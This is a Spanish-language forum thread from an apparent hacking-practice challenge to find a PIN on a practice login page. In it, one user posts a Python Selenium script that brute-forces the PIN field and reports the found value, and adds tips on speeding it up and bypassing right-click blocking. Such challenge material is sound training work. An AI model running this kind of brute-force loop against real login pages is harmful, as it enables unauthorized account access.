[RETO] Averiguar El Nip de 4 Digitos para acceder

Iniciado por Flamer, 20 Abril 2016, 00:16 AM

0 Miembros y 1 Visitante están viendo este tema.

TheChild


tincopasan

recién veo el desafío porque no soy de mirar esta parte del foro, la verdad seguro se puede hacer de otra forma, pero es para alguien que sepa más que yo, ahora como vi que lo resuelven por bruteforce con vb.net voy a mostrar otra forma de hacer lo mismo con python
Código (python) [Seleccionar]

#-*- coding:utf-8 -*-
import time,unittest
from selenium import webdriver         

pagina = webdriver.Firefox()         
pagina.get("http://practicashacking.net23.net/login.php")
numero=0
while numero < 1000:
    if numero < 100:
        numero=str(numero).zfill(3)
        llenar=numero
        numero=int(numero)
        pin = pagina.find_element_by_name("digi") 
        pin.clear()       
        pin.send_keys(llenar)               
        acceder = pagina.find_element_by_name("enviar") 
        acceder.click()                             
        chico_malo=pagina.find_elements_by_xpath("//img[@src='access-denied.png']")
        if len(chico_malo) == 1:       
            pagina.back()
            numero+=1
        else:
            print(numero)             
            pagina.quit()
    else:
        llenar=numero
        pin = pagina.find_element_by_name("digi") 
        pin.clear()         
        pin.send_keys(llenar)               
        acceder = pagina.find_element_by_name("enviar")
        acceder.click()                               
        chico_malo=pagina.find_elements_by_xpath("//img[@src='access-denied.png']")
        if len(chico_malo) == 1:
            pagina.back()
            numero+=1
        else:
            print(numero)
            pagina.quit()

>>>795

se puede mejorar mucho con clases e hilos(pero eso es un tutorial aparte) para agilizar la búsqueda y creo pero no estoy del todo seguro en cuanto a web, también usar CUDA,además de eliminar algún error.
Otra cosa, vi que Flamer pusiste como saltar lo del click derecho por medio de edición de código, es mucho más facil si simplemente presionas simultaneamente Shift + click-derecho

Saludos.